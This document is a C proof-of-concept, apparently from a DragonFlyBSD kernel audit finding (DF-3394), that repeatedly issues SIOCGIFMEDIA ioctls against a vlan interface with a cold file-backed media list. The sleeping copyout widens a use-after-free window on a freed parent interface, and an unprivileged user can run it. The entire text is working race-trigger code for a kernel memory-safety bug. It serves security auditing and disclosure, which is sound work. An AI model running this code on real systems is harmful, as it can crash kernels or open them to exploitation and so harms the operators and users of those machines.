⬢ DragonFlyBSD Kernel Audit
DF-3394 / race_query2.c
← back to finding ↓ download raw
/*
 * DF-3394 PoC v2 (unprivileged): SIOCGIFMEDIA hammer with a cold
 * file-backed ifm_ulist.  When vlan_ioctl() drops into the parent's
 * if_ioctl, the copyout to a freshly-faulted file page sleeps in the
 * middle of the call while holding only the (soon freed) parent's
 * serializer -- stretching the freed-ifnet use window from ~us to ~ms.
 *
 * usage: ./race_query2 vlan0
 */
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <net/if.h>
#include <net/if_media.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define NPAGES	8192	/* 8192 * 4096 = 32MB of faultable pages */

int
main(int argc, char *argv[])
{
	struct ifmediareq ifmr;
	int s, fd, i = 0;
	long n = 0, ok = 0, fail = 0;
	volatile int *ulist;
	char path[64];

	if (argc < 2) {
		fprintf(stderr, "usage: %s ifname\n", argv[0]);
		return 2;
	}
	snprintf(path, sizeof(path), "/tmp/coldpages.%d", (int)getpid());
	fd = open(path, O_RDWR | O_CREAT | O_TRUNC, 0600);
	if (fd < 0) { perror("open"); return 1; }
	if (ftruncate(fd, (off_t)NPAGES * 4096) != 0) { perror("ftruncate"); return 1; }
	unlink(path);
	ulist = mmap(NULL, (size_t)NPAGES * 4096, PROT_READ | PROT_WRITE,
	    MAP_SHARED, fd, 0);
	if (ulist == MAP_FAILED) { perror("mmap"); return 1; }

	s = socket(AF_INET, SOCK_DGRAM, 0);
	if (s < 0) { perror("socket"); return 1; }

	memset(&ifmr, 0, sizeof(ifmr));
	strlcpy(ifmr.ifm_name, argv[1], IFNAMSIZ);

	for (;;) {
		/* fresh cold page: MADV_DONTNEED re-faults from the file */
		if (i >= NPAGES) {
			madvise((void *)ulist, (size_t)NPAGES * 4096,
			    MADV_DONTNEED);
			i = 0;
		}
		memset(&ifmr, 0, sizeof(ifmr));
		strlcpy(ifmr.ifm_name, argv[1], IFNAMSIZ);
		ifmr.ifm_count = 1;
		ifmr.ifm_ulist = (int *)(ulist + i * 1024);
		i++;

		if (ioctl(s, SIOCGIFMEDIA, &ifmr) == 0)
			ok++;
		else
			fail++;
		if (++n % 200000 == 0) {
			printf("iter=%ld ok=%ld fail=%ld\n", n, ok, fail);
			fflush(stdout);
		}
	}
}